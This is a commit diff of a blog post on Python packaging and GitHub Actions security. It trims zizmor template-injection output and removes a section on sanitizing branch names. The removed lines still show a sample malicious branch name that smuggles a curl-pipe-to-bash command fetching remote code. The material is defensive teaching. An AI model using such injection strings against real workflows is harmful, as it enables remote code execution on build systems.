Skip to content

Commit 14464ff

Browse files
committed
fix: more refinement
1 parent 2d33624 commit 14464ff

File tree

1 file changed

+2
-42
lines changed

1 file changed

+2
-42
lines changed

_posts/2024-12-13-python-packaging-security.md

Lines changed: 2 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@ These steps (and the other best practices mentioned below) will significantly re
5959

6060
Don’t wait--start securing your Python publishing workflows today.
6161

62+
TODO add all reviewers and link to their githubs...
6263
note: many thanks to xxxx for reviewing this post for accuracy and accessibility!
6364
</div>
6465

@@ -169,19 +170,7 @@ $ zizmor .github/workflows/publish-pypi.yml
169170
170171
error[template-injection]: code injection via template expansion
171172
--> path/here/pyosMeta/.github/workflows/publish-pypi.yml:97:7
172-
|
173-
97 | - name: Upload artifact signatures to GitHub Release
174-
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ this step
175-
98 | env:
176-
...
177-
102 | # sigstore-produced signatures and certificates.
178-
103 | / run: >-
179-
104 | | gh release upload
180-
105 | | '${{ github.ref_name }}' dist/**
181-
106 | | --repo '${{ github.repository }}'
182-
| |__________________________________________^ github.ref_name may expand into attacker-controllable code
183-
|
184-
= note: audit confidence → High
173+
github.ref_name may expand into attacker-controllable code
185174
```
186175

187176
## Other security measures you can consider
@@ -229,35 +218,6 @@ jobs:
229218
echo "Running script for branch: $SAFE_BRANCH"
230219
```
231220

232-
<div class="notice" markdown="1">
233-
How cleaning the branch name works:
234-
235-
1. echo $GITHUB_REF: Outputs the branch name.
236-
2. sed 's/[^a-zA-Z0-9_\-\/]//g': Removes any characters that are not letters, numbers, dashes, underscores, or slashes, ensuring the branch name is safe.
237-
238-
Try It:
239-
240-
Test how sanitization works by running this command in your shell:
241-
the branch name: $({curl,-sSfL,raw.githubusercontent.com/test/test/123456d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/dummyfile.sh} | bash)
242-
243-
244-
```bash
245-
# Input string
246-
input='$({curl,-sSfL,raw.githubusercontent.com/test/test/123456d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/dummyfile.sh} | bash)'
247-
248-
# Sanitization step
249-
sanitized=$(echo "$input" | sed 's/[\$\{\}\|\(\)]//g')
250-
251-
# Output the sanitized string
252-
echo "Original: $input"
253-
echo "Sanitized: $sanitized"
254-
```
255-
256-
This strips out any characters that can be used to call shell commands.
257-
258-
</div>
259-
260-
The good news here is that if you use a release-based workflow as discussed earlier, then you don't have to worry about branch names. And yes you can always make a release from a different branch!
261221

262222
## Lock down GitHub permissions
263223

0 commit comments

Comments
 (0)